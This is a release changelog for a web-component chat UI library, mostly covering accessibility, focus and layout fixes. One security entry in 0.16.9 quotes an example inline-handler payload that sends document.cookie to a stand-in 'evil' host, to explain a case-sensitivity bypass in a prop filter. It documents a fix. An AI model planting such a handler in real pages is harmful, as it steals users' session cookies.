Changelog
0.16.11 Latest
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
6d3272e: The README carries the webcomponents.org badge; nothing changes in the code you import.
The listing at webcomponents.org/element/@aparte/core exists as of 2026-09-05 and the badge links to it from npm and GitHub. Only core is listed, by decision: the plugins stay off the catalogue for now.
@aparte/core -
21dd3bc: The four plugins that ship a custom element now carry the
web-componentsnpm keyword; nothing changes in the code you import.Each already pointed
customElementsat its manifest, which is what the webcomponents.org catalogue reads, but only core carried the keyword the catalogue and npm search filter on. The five plugins that expose no element (compaction, marked, shiki, streaming-markdown, titler) are untouched: they have nothing to list there.@aparte/plugin-approval,@aparte/plugin-artifacts,@aparte/plugin-ask-user,@aparte/plugin-model-selector
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/plugin-titler, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.10
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
33b8cc0:
AparteConversationManager.setTitleProvider(fn)replaces how a new conversation is titled from its first user message.A conversation’s title was decided in one private place,
_autoTitle, and it was the message as typed. A consumer with a titler — a model in the browser, a request to a backend, a heuristic — had no way in short of racingupdateTitlebehind every send, and losing the race on the sidebar. The seam is on the manager, which owns that one place:setTitleProvider(provider)/getTitleProvider(), plus atitleProviderconstructor option. The provider receives the message’s text and the message, may be async, and is consulted once per conversation; an empty answer or a throw leaves the default, so a titler that fails never loses the message from the list.updateTitleis untouched.@aparte/plugin-titlerbinds an aparte-titler model to it.@aparte/core -
36af623:
<aparte-scroll-rail>works on a long conversation: it no longer rebuilds itself every frame, every turn stays reachable and the current tick stays visible, a click lands on its message and keeps its mark, and the rail sits clear of a classic scrollbar, centred on the transcript rather than the composer, and never taller than a share of it.Measured in Chromium, Firefox and WebKit on a 40-turn chat before the fix: the rail rebuilt itself 61 to 146 times a second at rest, with a new
IntersectionObservereach time, because its mutation observer watched the whole host subtree — the rail included — and every rebuild replaced every tick. Nothing on a tick survived a frame: focus, the arrow keys, a hover tooltip. Past sixteen ticks the rest was clipped, the current one included, so the mark was invisible on the long thread the rail exists for. A jump ended on the wrong mark two times in three, and landed up to 1,213px off the message on a long transcript, because the bubbles carrycontent-visibility: autoand a scroll aims at an estimated position.Now the rail drops its own mutations, reconciles its ticks by message id (the same nodes, so focus, hover and the tooltip survive an appended turn or a streaming reply) and re-observes only when the bubbles change. It is the height of its list, capped at 60% of the transcript (
--aparte-scroll-rail-share) and centred on it — a list of ticks, as LobeChat’s, not a full-height minimap. When more turns exist than 24px targets fit in that cap, it tightens the pitch to what fits — never under 6px — by setting--aparte-scroll-rail-hit-sizeand--aparte-scroll-rail-gapon itself; past that floor it scrolls, keeping the current tick in its window, and the arrows still walk every tick. A jump holds its mark until the transcript has settled, then re-aligns on the message when the scroll landed off it. Three measurements are published on the element for the stylesheet —--aparte-scroll-rail-bar(a classic scrollbar’s width),--aparte-scroll-rail-block-startand--aparte-scroll-rail-block-end(the transcript’s extent within the host) — and the reading band now starts at the top of the scroll surface so that a bubble a jump aligned there counts.In
overlay-composermode the viewport no longer counts the rail as part of the floating bottom stack when it measures--aparte-bottom-inset: the stylesheet already named the rail as not the stack, the measurement had not, and a rail centred on the transcript froze the inset at the distance from its own top while the composer grew under a draft.If you had styled the rail: it is a flex column now,
overflow-y: autowith no visible scrollbar, and itstopis the middle of the transcript’s measured span rather than of the host.@aparte/core -
3df9174: New package:
setupTitler(manager, { titler: loadTitler })titles each conversation from its first message with an aparte-titler model — 3 to 6 words, in the browser, no API call.The model is not a dependency of the plugin: hand it
@aparte/titler-latin’sloadTitler(17 languages, 133 KB), aTitler, a promise of one, or any object withtitle(message, budget?). The loader runs once, the first time a title is needed.createTitleProvider(options)is the provider alone, for a manager built with thetitleProvideroption; the teardown returned bysetupTitlerrestores the previous provider.@aparte/plugin-titler
Version-only bumps (no changes of their own): @aparte/engine, @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/provider-transformers, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-compaction, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/svelte, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.9
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
2b1d809: A composer inside a chat host that has an
idnow stamps that id onaparte-send; on a page with two raw-core chats the reply no longer lands in the wrong one.submit()read the baretargetattribute. All four wrappers set it, so nothing changes there — but the documented quick start writes its markup by hand and nothing setstarget, so every send from raw core carriedtargetId: undefinedand the host delivered the answer to whichever chat it resolved first.The composer’s other outbound path,
cancel(), already resolved through_ownTargetId()— the attribute if a wrapper set one, else the id of the<aparte-chat>/[data-aparte-chat]host above.submit()now resolves the same way, which is the invariantcancel()’s own docblock states: both sides answer the question “which chat am I” identically.@aparte/core -
df0d60e: The ✕ that removes a pending attachment is 24px on touch, not 18px.
It is the only way to drop a file attached by mistake, and 18px is under the 24 of WCAG 2.2 SC 2.5.8. The coarse-pointer block already made the button visible there — a finger cannot hover — but left it at the size a mouse gets.
24 is not a new number: it is the box
aparte-btn--smalready draws (--aparte-btn-size-sm: 24px), so the component simply stops out-specifying the recipe on touch. Not the 44px--aparte-touch-target-sizeits neighbours take: the composer’s pending tile is 56px (--aparte-attachment-image-size, set onaparte-composer-attachments), so a 24px ✕ is already 43% of its edge and a 44px one would cover most of the picture — matching the neighbours properly means growing the tile too, a separate decision.@aparte/core -
60e33eb: The composer’s editor is exactly the control height at rest: its block padding derives from the control size and its own line (
--aparte-input-padding-y: calc((var(--aparte-composer-control-size) - 1lh) / 2)), so the send and attachment buttons share the editor’s centre on one line and follow its last line when the text wraps.Measured on the built preview at 768: 36px buttons beside a 44px editor (10px of padding, a 24.3px line, 10px of padding) in a row aligned at the end, so the send button sat 4px below the editor’s centre. A consumer who had set
--aparte-input-padding-ykeeps what they set; the default alone moves.@aparte/core -
7fbd763: Cancelling or saving an inline message edit returns the focus to the bubble’s action bar instead of dropping it to the top of the page.
Both exits destroy the element that holds the focus: the editor node is removed, and the action bar is rebuilt with
innerHTML, so the ✓ / ✗ buttons go with it. Focus fell to<body>, and the next Tab restarted at the top of the document — a reader who edited the fourth message of a long transcript had to walk all the way back down to it.The bubble now remembers the
data-actionof the button the editor was opened from and focuses that action again on the way out. The string, not the node: the bar’s markup is rewritten twice between the two moments, so the node identity cannot survive. When the focus was outside the bubble when the editor opened, nothing is remembered and nothing is pulled back — that would be theft, not a restore.@aparte/core -
79a55a3: Reaching the elicitation panel’s “Other…” radio with the arrow keys now reveals the text field without moving the focus into it; a click or Space still focuses it.
Arrow keys select as they move inside a radiogroup, so the
changethey fire is not consent. Focusing on it carried a keyboard reader out of the group with no activation at all — WCAG SC 3.2.2 and its F36 failure, the same rule this panel already follows when it makes one choice one button.@aparte/core -
204343f: Lifecycle events (
aparte-message-start/-done/-error/-aborted, and the tool-approval request) now carry the chat’s id when the render target is a shell’s viewport, so a second chat on the page no longer answers to the first one’s turn.The stamp read
target.id, and the target is whatever RENDERS: an<aparte-chat>shell delegates rendering to its.viewport, which has no id of its own. So on every shell-shaped chat the events went out withtargetId: undefined— and the receive side reads a missing id as “for me”, deliberately, so a single-chat page needs no wiring.On a two-chat page that made one chat’s turn drive every composer: chat B finishing re-enabled chat A’s send button mid-stream and evicted A’s open elicitation panel, so the question vanished under the user’s cursor while A’s tool call kept waiting. The client now resolves the id by climbing to the chat host — the same rule
aparte-composeruses to identify itself, so the two halves of the channel cannot disagree — andtarget.idremains the fallback, which is correct for the viewport-only chat shape.@aparte/core -
4cfda77: Uppercase and mixed-case
on*props (ONCLICK) are now dropped like lowercase ones; they previously became live inline handlers.applyElementProps— what the React and Angular wrappers use to spread a consumer’s prop bag onto an aparté element — refusedonclickbut tested the key withkey.startsWith('on'), which only ever matched the lowercase spelling. An attribute name is case-insensitive, so{ ONCLICK: 'fetch("//evil/?" + document.cookie)' }fell through tosetAttributeand wrote exactly theonclickthe branch existed to refuse.The check is now
key.toLowerCase().startsWith('on'), the idiom core’s sanitizer already uses. The lowercasing is scoped to that one branch: a CSS custom property IS case-sensitive, so the--branch keeps the key it was given.@aparte/core -
8a77487: The sidebar drawer keeps the keyboard when its search filter hides rows: Tab wraps from the last visible control instead of walking out onto the page under the scrim.
The trap listed its stops with
querySelectorAlland treated the DOM-last one as the end of the drawer. The drawer’s own search field hides non-matching rows withhidden, and a hidden row’s buttons hold no tab stop — so after typing one letter the “last” stop was unreachable, the wrap never fired, and Tab from the last control a reader could actually see left the drawer for the transcript underneath. Opening the drawer had the same blind spot: it focused the DOM-first control even when that one was hidden.Both now count only what a reader can reach (
[hidden]ancestors excluded, pluscheckVisibility()where the browser offers it, which also catches adisplay: nonefrom a host stylesheet).@aparte/core -
7fbd763: Leaving a bubble’s inline editor now lands on a button the reader can actually use, and moves the action bar’s tab stop with it.
The restore added in the previous patch focused the button that opened the editor, but stopped there, and two cases in its own subject — the reader must not lose their place — still lost it.
The bar is a
role="toolbar": one tab stop that the arrows move. Rebuilding it parks that stop on the first button (copy), so focusing edit put the reader on atabindex="-1"member — Shift+Tab out and Tab back returned them to copy, not to the button they were on. The restore now sets the stop before focusing, the same two lines the arrow-key handler already uses.And the remembered action can come back disabled — the reader sent from the composer mid-edit, so the transcript is busy and edit is rebuilt disabled — or gone, if the action was turned off while the editor was open.
focus()on a disabled button is a no-op, so the focus fell to<body>: the exact bug, silently. The restore now falls back to the bar’s first enabled button.@aparte/core -
204343f: Retry and edit no longer put empty assistant turns on the wire: a failed turn, or one stopped before its first token, is dropped the same way send drops it.
Send, retry and edit all answer the same question — what did this conversation say so far? — and they answered it with two different pieces of code. Send filtered out errored turns and anything whose wire text came out empty; retry and edit kept every user and assistant row whatever its status, so a failed turn reached the model as
{ role: 'assistant', content: '' }. Some providers reject that outright; the rest read it as an empty reply worth imitating.The slice stays each caller’s own business — retry cuts before the reply it regenerates, edit after the message being reworded, send at the last answered turn. What a message contributes to the wire is now one rule the three of them share.
@aparte/core -
191aa24: The
<aparte-chat-status>caveat names the tokens the sheet actually reassigns (--aparte-message-padding-block/-inline); the theming guide and the landing page stop offering two variables 0.16.8 removed.--aparte-message-paddingwas split into-block/-inlineand--aparte-avatar-radiusbecame--aparte-avatar-radius-ratio(a fraction of--aparte-avatar-size, not a length — the guide now says so, because swapping the name and passing6pxis the natural next mistake). Both kept being offered: in the theming guide’s grouped token list, in the status element’s own JSDoc — which the generated component page reprints — and, for the avatar one, in the landing page’s three-line “one instance, three variables” snippet, the page whose whole job is to make the theming promise credible.A name that does not exist fails in silence: the declaration is invalid at computed-value time, the property inherits, and the page looks almost right. That is the exact failure the same guide has a section warning about, so the pages taught the mistake they teach you to avoid.
check:derived-varsnow reads variable names out of that prose — the two pages plus every JSDoc block in core’s and the plugins’ source — and refuses one the library cannot answer to; a family prefix (--aparte-code-*) and a line markedundeclared-on-purposeare the two exceptions, the second for the guide’s own worked example of a name core does not declare.@aparte/core -
2b1d809: Closing or evicting a composer panel no longer steals the focus: the caret stays where the reader put it unless focus was inside the composer.
_teardownPanel()ended on an unconditionalthis.focus(), which forwards to the composer’s editor. So every close moved the caret there — including the one nobody asks for: a turn ending evicts any open panel, and a turn ends because the model finished. A reader who had moved to another chat’s field, a search box, or a link was pulled back mid-keystroke.It now asks first, and asks BEFORE removing the panel: removing the focused element drops focus to
<body>, after which the question has no answer. That is the reasoning<aparte-elicitation>’s own restoration already records — and its guard was being defeated by this one, since the teardown ran first and put the focus back inside the composer, which made “was the reader still in the panel?” answer yes.@aparte/core -
04b9dd0: The scroll rail’s first and last tick are full 24px targets: the rail pads its block axis so its own clipping no longer cuts them in half.
--aparte-scroll-rail-hit-sizegrows the pressable zone symmetrically around the drawn line — half ofhit − thicknessabove it and half below.aparte-scroll-railclips (overflow: hidden, which cuts at the padding box) and had no padding, and.aparte-scroll-rail__listhas none either, so the first tick’s top edge sat exactly on the clip line: its upper 11px were cut, and the last tick’s lower 11px with it, for paint and for hit-testing alike. Two 13px targets, under WCAG 2.5.8’s 24px — and they are the two a reader aims at most, “jump to the first message” and “jump to the latest”.The fix is the room, not a smaller zone:
padding-block: calc((hit − thickness) / 2)puts the clip line outside every zone instead of through the two end ones. The inline axis already had this reasoning — it is why a zone grows inward only and why--aparte-scroll-rail-widthcarries the hit size as a floor — and it simply had not been carried to the block axis.What moves if you had measured the rail: it is
box-sizing: border-boxnow, somax-heightstill means the same outer box, and the ticks get 22px less room inside it — a very long transcript clips one tick sooner. The drawn line, the pitch and every token are unchanged.@aparte/core -
04b9dd0: The scroll rail is positioned inside the chat under the Angular wrapper too, and no longer gets pulled back into the flow in overlay mode.
<aparte-scroll-rail>isposition: absolute, so it lands in the nearest positioned ancestor. The recipe hands the shell that containing block with:has(), and it listed two of the three shell shapes core’s own layout already knows: the vanilla<aparte-chat>and the[data-aparte-chat]div React/Vue/Svelte render. Angular’s host IS<aparte-chat>but its shell is the inner.aparte-chat-container, and that div carries no attribute — so a rail inside an Angular chat escaped to whatever ancestor happened to be positioned, in the ordinary case the page..aparte-chat-container:has(> aparte-scroll-rail)closes it; the other two wrappers’ root already carries both the class and the attribute, so nothing moves for them.The second half is the same rail, in overlay mode. The bottom-stack rule said
> :not(aparte-chat-viewport)on the premise that the only child which is not the viewport IS the stack — true when it was written, and the rail made it false: it matched, tookposition: relative, and the one child that floats by design dropped into the flow above the composer. The:not()now names both.@aparte/core -
04b9dd0: Scroll-rail ticks are 24px click targets on a 24px pitch.
--aparte-scroll-rail-hit-sizeis the new knob and--aparte-scroll-rail-gapnow derives from it, so fewer ticks fit in the rail before it clips.A tick is a
<button>that jumps the transcript, and it was drawn as the line it stands for: the pressable zone measured 22×10 CSS px on a 10px pitch, under WCAG 2.5.8’s 24×24 minimum with no spacing exemption to fall back on (the exemption is measured on a 24px circle per target, and at a 10px pitch the neighbours’ circles overlap). The rail hides entirely under(pointer: coarse), so the bar is 2.5.8’s 24px rather than 2.5.5’s 44px.Growing only the pseudo-element would have satisfied the letter of the rule and made mis-hits worse — two 24px zones on a 10px pitch overlap by 14px, and the z-order then decides every press — so the pitch rises with the zone:
--aparte-scroll-rail-gapishit − thickness, which makes gap + thickness exactly the pitch and the zones tile edge to edge.What to change if you had tuned these: set
--aparte-scroll-rail-hit-sizerather than--aparte-scroll-rail-gap, since the gap now follows it.--aparte-scroll-rail-widthtakes the hit size as a floor (max(…)) because the rail clips: a narrower column cut the zone back on the very edge a reader aims at. The drawn line is unchanged at 14×2.@aparte/core -
ce72d8e: A searchable
<aparte-select>again announces which option is selected: its trigger’s accessible name is now"<control>: <selected label>"(e.g. “Pick a model: GPT-4o mini”) instead of the control’s name alone.searchablemakes the trigger arole="button", and a button takes its name from its content — which an authoraria-labeloverrides. The name written for the combobox shape (where the visible label span was the VALUE and the attribute only the NAME) therefore swallowed the selection: readers heard “Pick a model, button” and never the model. The name now carries both halves, follows every selection change, and drops the second half when it would only repeat the first. The listbox keeps the control’s name, and a non-searchable select is unchanged.@aparte/core -
204343f:
history: 'viewport'now sends assistant turns a host seeded without astatus; the whole transcript used to be dropped and the model got only the new question.statusis optional onAparteMessage, and a host that seeds a transcript — restoring a saved conversation, hydrating a server-rendered one — has no reason to invent one for turns that are already over._toHistoryMessagesgated onstatus === 'completed', so with none the cutoff never advanced past the first message and every seeded turn was sliced away. Nothing in the UI showed it: the viewport still rendered the whole conversation, and only the next request was missing it.Both gates now ask “is this still in flight?” instead: a
streamingorpendingturn is held back, anerrorturn is still dropped and still does not advance the cutoff, and everything else — status or no status — is history.@aparte/core -
ce72d8e: A searchable
<aparte-select>now putsrole="combobox",aria-expanded,aria-controlsand the rovingaria-activedescendanton the filter field instead of the trigger, so the arrow-key highlight is announced. The trigger becomes arole="button"when (and only when) the field exists; withoutsearchablenothing changes.Opening a searchable select focuses the filter field, and a screen reader follows focus — so the combobox state has to live there. It lived on the trigger: the highlight moved with every ArrowDown and was announced to nobody, and the control declared two comboboxes for one value.
aria-expandednow follows the open state on both elements.@aparte/core -
ce72d8e: A disabled
<aparte-select>no longer removes theopenattribute you wrote, and opens the moment you removedisabled.openis the consumer’s attribute, and a one-way binding writes it once: taking it back left the template saying open and the element saying closed, with no write left to reconcile them —<aparte-select [disabled]="true" [open]="true">in Angular went to the element and came straight back out. The select still refuses to open while disabled; the attribute simply stands, and thedisabledbranch honours it on the way out, symmetrically to the close it already does on the way in.@aparte/core -
ce72d8e: Setting
openon<aparte-select>— the attribute or the property, after mount or in the initial markup — now runs the same path as a click:aria-expandedfollows in both directions, the keyboard highlight is seeded on open and cleared on close, andaparte-select-open/aparte-select-closefire once per transition. A disabled select still refuses to open, and drops theopenattribute rather than leaving it claiming otherwise.The attribute had a branch of its own that unhid the panel and stopped there, so the documented way to control the dropdown produced a state a click never produces: a visible list announced as collapsed, with the arrow keys starting from nowhere. The branch now delegates, guarded against the re-entry the two methods’ own reflecting writes cause.
@aparte/core -
ce72d8e: Re-parenting an open
<aparte-select>no longer fires a secondaparte-select-openor resets the keyboard highlight: a portal, a Vue teleport or any framework move keeps the dropdown exactly where it was.connectedCallbackruns on every re-connect, and routing the mount-timeopenattribute through the open path made a move look like a transition — the event fired again and the highlight was re-seeded on the selected option, losing where the arrow keys had got to. Mount now only opens when the element is not already open, and_openDropdown()returns early when it is, so every entry into it (attribute, property, click, re-connect) is idempotent.@aparte/core -
c9d863d: Renaming a conversation now keeps the focus on the row when you leave the field by Tab or by clicking away, not only on Enter.
Every exit re-renders the list, so the field the reader was typing in stops existing. Enter and Escape put the row’s title button back under the keyboard; the blur path passed a hard-coded
falseand left the focus on<body>, so the next Tab restarted at the top of the page. It now looks at where the focus is going: nowhere, or somewhere inside the list this render is about to destroy, and the row takes it back — a live control outside the list keeps it, since pulling it back from there would be theft.The restore also moved after the
aparte-rename-conversationevent rather than before it. A host that re-assignsconversationswhen it hears that event re-renders the list, which destroyed the button that had just been focused — so even Enter lost the row in the one integration that matters most.@aparte/core -
6e7386b:
<aparte-chat-status>now carries a screen-reader-only word inside its live region, so the default dots-only form is announced instead of being silent.The container is
role="status" aria-live="polite", and a live region announces its CONTENT. In the dots-only default that content was anaria-hiddendot and an empty span — the empty string — so the whole state rode onaria-label, which names the region rather than reporting it. A sighted reader saw the dots pulse; a screen-reader user was told nothing.One writer now keeps exactly one of the two text nodes populated: the visible
.aparte-status-textwhen thetextattribute is set (the label is already that same string, so a second copy would be read twice), and a new.aparte-status-srspan wearing the existing.aparte-sr-onlyrecipe when it is not. No new CSS, no new token, and the documented dots-only LOOK is unchanged — nothing visible was added.One edge aligns as a consequence: mounting with an empty
text=""used to print the literalTypingon screen, where settingtext=""after mount cleared it. Both paths now read an empty attribute as the dots-only default.@aparte/core -
6e7386b:
<aparte-chat-status>writes its fallback word into the live region whenvisiblearrives, and clears it whenvisibleleaves — so a screen reader hears the indicator on every turn, not just in theory.The word was there already; it was written at the wrong moment.
_render()putTypingin the screen-reader span while the host was stilldisplay: none(aparte-chat-status:not([visible])hides it, and all four wrappers mount the element once and flip the attribute). So the region was never MUTATED while it was exposed: it appeared with its text already in it — the reveal-from-hidden path assistive tech is documented not to announce reliably — and from the second turn on there was not even a reveal-time difference, the string being byte-identical to what was sitting there.Driving it from visibility makes each turn a real content change on a region that is already on screen, which is the path that announces. Nothing about the look moves: the dots-only line is still dots-only, and when
textis set the visible span carries it exactly as before, with the screen-reader span left empty so the line is read once.If you drive the element by hand rather than through a wrapper,
show()/hide()(or thevisibleattribute) is now what puts the word in the region — mounting it withoutvisibleleaves the region empty, as it should, since the element is not on screen.@aparte/core -
52a9a00: The tabs recipe’s examples now ship the roving
tabindex,aria-controlsandaria-labelledbythat theirrole="tablist"promises, and the segmented variant has a panel. Copying the banner markup no longer copies a defect.The examples are the live preview the kit page renders, and they showed a
role="tablist"of plain buttons: every tab a tab stop, none of them naming a panel — which announces more than plain buttons and does less. The banner now also says which part stays the app’s (the ArrowLeft/ArrowRight/Home/End handler) and points at a working one.@aparte/core -
97eb642: The image-preview button is now the thumbnail image rather than the tile: the ✕ is no longer a button nested inside a button, and the tile no longer announces its file name three times.
In the composer’s pending strip,
role="button"sat on the tile, and the tile wraps the remove<button>. No role permits a button inside a button, and the outer one takes its name from its contents — so a screen reader read the file name from thetitle, again from the hover overlay, and a third time inside “Remove report.png”, then offered two nested controls with no way to tell which an Enter would reach.The role, the tab stop and an explicit
aria-label(the file name, once) now sit on the<img>, which is what the preview opens; the ✕ sits beside it. Its focus ring is drawn inset, because the tile is the frame and clips: an outline drawn outward from an image that fills the tile would not be visible at all.The sent-message strip in the bubble is unchanged and keeps the role on its tile — it has no ✕, so nothing is nested and the tile is the whole control.
@aparte/core -
7389228: A Stop now ends the run immediately even when a tool handler ignores its abort signal — the turn no longer sits until
toolTimeoutMs(five minutes by default), and a handler that resolves after the Stop no longer appends a tool result.invokeToolHandleralready raced the per-call TIMEOUT, for a measured reason: aborting a controller is a request a handler is free to ignore, and the default shape of a consumer tool —async () => ({ content: await fetch(...).then(r => r.text()) })— never reads its signal. The parent abort was left out of that race. It only ranonParentAbort, which aborts the same child controller the deaf handler ignores, so a Stop pressed while a tool was in flight changed nothing the user could see: the loop stayed parked on the handler, the typing indicator stayed up, andrun-abortedarrived only once the timeout budget expired.The parent signal is now a third racer beside the timeout, on the same terms: the signal still fires first, so a handler that honours it keeps the chance to reject cleanly, and the racer only decides the case where it does not. The listener is removed in the
finallyalongside the existing one, so a long turn does not accumulate listeners on the run’s signal.@aparte/engine -
2cd2c50: The worker now ships as
dist/worker.jsand is constructed from a literalnew URL('./worker.js', import.meta.url), so a bundled app resolves@huggingface/transformersinside the worker instead of failing on every model load. No configuration changes on your side — no worker loader, no copy rule, no entry of your own._spawnWorkercarries a comment saying that literal “is not style”: it is the exact shape Vite’s worker detection and webpack’s WorkerPlugin match on, and matching it is what makes a consumer’s bundler process the worker as a MODULE rather than copy it as an opaque asset. The claim was true of the source and false of the published bytes. The build handed the emit to Vite’s own worker plugin, which rewrote the call tonew Worker(new URL(/* @vite-ignore */ "" + new URL("assets/worker-<hash>.js", import.meta.url).href, import.meta.url))— nothing static left for anyone to detect. The chunk was then copied verbatim, itsimport('@huggingface/transformers')stayed a bare specifier no browser can resolve, and it also pulled two sibling hashed runner chunks a consumer’s build never emitted.Two things had to become true: the worker must sit at a stable path a bundler can be pointed at, and it must contain no specifier a verbatim copy cannot resolve. It is a second lib entry now, so
dist/worker.jsanddist/runners/{shared,text-generation,image-text-to-text}.jsare real published files with names — relative between themselves, so they follow the worker to whatever origin serves it, and@huggingface/transformersis the one bare specifier left. The build removes Vite’sworker-import-meta-urlandasset-import-meta-urltransforms, which is what lets the literal survive into the artifact; dev and the test run keep them, since that is what resolves./worker.jstosrc/worker.tsthere.Both halves are now asserted against the built bytes rather than the source —
src/__tests__/published-shape.test.tsfor the literal and the file, and acheck:bundle-entriescontract that walks the worker’s chunks for stray specifiers. The defect existed only in the output, so only a test that reads the output could have seen it.The cross-origin
blob:path is unchanged: same behaviour, same CSP note, same error message.@aparte/provider-transformers -
a78320a:
summaryMaxTokensreserves room in the window budget; it never truncated the summary and no longer claims to.Its JSDoc read “Hard cap for summary tokens” and
summaryRatio’s read “Ratio of history budget allocated to the summary block”, so both described a bound on the text a summariser returns.splitHistoryBudgetuses them for one thing:summary = min(summaryMaxTokens, budget × summaryRatio), and that number is subtracted from the verbatim window. Nothing measures a summary against it and nothing clips one — a summariser that overruns simply costs the turn more than the split assumed, silently, which is the failure mode a reader trusting the word “cap” would never look for.Words only:
splitHistoryBudget, the defaults and the numbers are untouched. If you need a real bound, clip inside your ownsummarize.@aparte/plugin-compaction -
9a1f93c:
<AparteChat>and<AparteUi>accept callback props alongside their events:onmessageSent,onaction,onmessagesChange,onmessageAppended,ontypingChange,onconversationCreatedon the chat,onelementEventon the element host. Each is called with the payload itself (noCustomEventto unwrap), in addition to the event, so a Svelte 4 consumer changes nothing and a Svelte 5 consumer never writeson:on a component. The Svelte 5 example now runs in runes mode on those callbacks.Svelte 5 documents
createEventDispatcheras deprecated and recommends callback props; measured before this landed, the 5.56 compiler warns on neither the dispatcher noron:on a component (only onon:for a DOM element in runes mode), so this is the framework’s idiom arriving in the wrapper, not an emergency. The other three wrappers already speak theirs: React props, Vue emits, Angular outputs.@aparte/svelte
Version-only bumps (no changes of their own): @aparte/provider-ai-sdk, @aparte/provider-openai-compat, @aparte/provider-scenario, @aparte/plugin-approval, @aparte/plugin-artifacts, @aparte/plugin-ask-user, @aparte/plugin-marked, @aparte/plugin-model-selector, @aparte/plugin-shiki, @aparte/plugin-streaming-markdown, @aparte/angular, @aparte/react, @aparte/vue, @aparte/locale-fr, @aparte/docs-mcp.
0.16.8
Every @aparte/* package ships at this version (they are released in lockstep).
Patch Changes
-
50085e8: Five calibration decisions from the image audit: the bubble’s corner is the theme’s
--aparte-radius-bubble(12px, it was a 14px literal); a control’s edge has its own token,--aparte-border-control, read by the field, the field group, the choice controls and the select trigger; the icon scale is in rem on the type factor (--aparte-icon-sizedefaults to 1rem, was 14px; sm 0.75rem, lg 1.125rem, xl 1.25rem); the elicitation rows’ radius is the md step; and a disabled button, field or select is drawn — a neutral ground and the muted ink — instead of faded with opacity. The composer’s gated state no longer fades the whole composer.--aparte-borderdid two jobs, separating regions and bounding controls, and six previews showed a control with no visible edge; the new token is derived from the ink and the ground so both schemes follow, and its mix is a first setting. The icon scale was the one scale in the theme pinned in px while every type size followed--aparte-font-scale, so a glyph beside text shrank optically when the reader enlarged the text. Opacity on a disabled control faded the glyph with its ground and read at 2:1 on the send button; “inactive” and “disappearing” are not the same message. Menu items, option rows and a tag’s ✕ keep the opacity for now.@aparte/core -
31ccbc2:
center-emptycentres the welcome group itself: while the chat is empty, the rows’ wrapper carries no block padding, so the empty viewport takes no room in the centred stack.Measured on the built demo at 768: the chat’s centre at 240, the visible group’s at 256. The empty viewport still stood 32px tall — the wrapper’s block padding with no row in it — and
justify-content: centercentred three items of which the first was invisible. The padding goes, not the box: capping the viewport at 0 would leave a 32px scroll surface inside a 0px box, which the browser smoke test every example runs (“an empty transcript must not overflow”) refuses. Framework mode is untouched — there the viewport is the scroll surface and may hold the wrapper’s own empty-state content.@aparte/core -
7e5910a:
<aparte-chat submit-on-enter="false">now reaches the composer it composes, and the menu, popover, dialog and tooltip each get a radius knob (--aparte-radius-menu,--aparte-radius-popover,--aparte-radius-dialog,--aparte-radius-tooltip).The shell forwarded
placeholderanddisabledonly, so the one switch every wrapper exposes assubmitOnEnterhad no vanilla spelling short of reaching inside for the composer. It is forwarded by value (the bare attribute keeps the default, Enter sends) and observed, so a toggle after mount follows. The four floating surfaces read a step of the radius scale directly, the only family without a knob of its own: a theme that wanted square menus and round bubbles had to move the scale step and every other reader with it. Rendering is unchanged; the four knobs default to the steps the sheets read before.@aparte/core -
316eaa7: The action bar’s first glyph starts on the text column; every inline recipe of the kit sits on the midline (
vertical-align: middle); the avatar’s initials, corner and group overlap scale with its size —--aparte-avatar-initials-ratio,--aparte-avatar-radius-ratioand--aparte-avatar-overlap-ratioreplace the absolute--aparte-avatar-font-size,--aparte-avatar-radius,--aparte-radius-avatarand--aparte-avatar-group-overlap— and the assistant avatar’s text is the text colour.The most reproducible defect of the audit: in 14 previews the first action button’s ink began 5 to 8px right of the paragraph above it, because a glyph is centred in a 24px box; the bar takes that slack back. Inline boxes fall on the baseline unless they say otherwise, and none did: the icon button rode 3px above its neighbours, three spinners shared a bottom edge instead of a centre. The 40px avatar drew the same 11px initials as the 32px one, its corner drifted from squircle to square up the ramp, and a 6px overlap was a fifth of a small avatar and a tenth of a large one — the fractions are computed on the element so a size modifier moves them.
@aparte/core -
94c44a7: The documented
@csspropdefaults now match the stylesheets (61 of 172 were stale), and the reflected state attributes the shipped CSS keys off —data-emptyon the chat,data-panel-active/data-panel-mode/data-model-gatedon the composer,data-busyon the viewport — appear in each element’s attribute table like their siblings already did.The default in a JSDoc tag is a hand copy of a value that lives in a sheet, and the two had drifted: radii off by half, paddings in pixels where the sheet reads the spacing scale, the attachment tile documented at 40px on one page and 56px on another when the theme says 72px. The generated component pages print that default, so a reader tuning a knob started from a value the sheet never had. Every default is now the stylesheet’s value character for character, and a test keeps it so (the source of truth is a
:rootdeclaration in theme.css, else a scoped declaration, else the fallback of thevar()that reads the knob). Also on the chat page, the hand-composed markup example no longer ends up inside the--aparte-chat-bottom-gaptable cell, and the sidebar’sdata-draweris documented againstbreakpointrather than a hard-coded 48rem.@aparte/core -
e4a3e86: Every button core renders is
type="button", so a chat placed inside a host<form>no longer submits it when a reader copies a code block, presses a branch arrow or clicks an action; the code block’s copy button carries anaria-label; the reasoning panel is a focusable, named region.Thirteen emitted buttons had no type (the bubble’s action bar, branch arrows and edit controls, the composer’s send and stop buttons, the code block’s copy button) and one custom action button was created without one — and a button with no type is a submit button. The copy button was also the one icon button in core named by
titlealone, which a screen reader does not read; its accessible name now follows the “copied” confirmation too. The reasoning panel is a scroll container (max-height+overflow-y: auto) and had no tab stop, so a keyboard reader on Safari could not scroll it; it isrole="region"withtabindex="0", named after its label. A source test now refuses a new untyped button.@aparte/core -
b20565d: The error segment wears the alert recipe’s parts (
